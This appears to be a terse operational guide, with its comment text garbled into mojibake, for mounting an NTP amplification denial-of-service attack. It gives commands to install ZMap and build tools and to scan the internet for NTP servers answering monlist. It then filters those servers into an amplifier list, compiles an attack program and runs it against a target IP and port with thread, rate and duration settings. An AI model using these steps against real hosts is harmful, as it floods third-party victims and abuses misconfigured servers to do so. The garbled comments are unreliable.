ķ
yum -y update

װrepositorys

CentOS 6
wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
sudo rpm -Uvh epel-release-6-8.noarch.rpm

Centos 7:
wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-8.noarch.rpm
sudo rpm -Uvh epel-release-7-5.noarch.rpm

װ
yum install gcc libcap  libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c

װZMAP
yum -y install zmap


ntpcheckerϴķ
ntp_123_monlist.pktϴķ

ʼɨŴб
screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt
൱ȴ

ntpcheckerȨ
chmod 777 ntpchecker

м
screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1

б
awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt



빥


ն˺
yum install gcc libcap libpcap libpcap-devel 

ű
gcc -lpthread ntp.c -lpcap -o ntp 

./ntp 127.0.0.1 80 ntpamp.txt 1500 -1 100


127.0.0.1=ĿIP
80=˿
ntpamp.txt=˺ķŴб
1500=߳
-1=ppsƣ-1ʾ
100=ʱ

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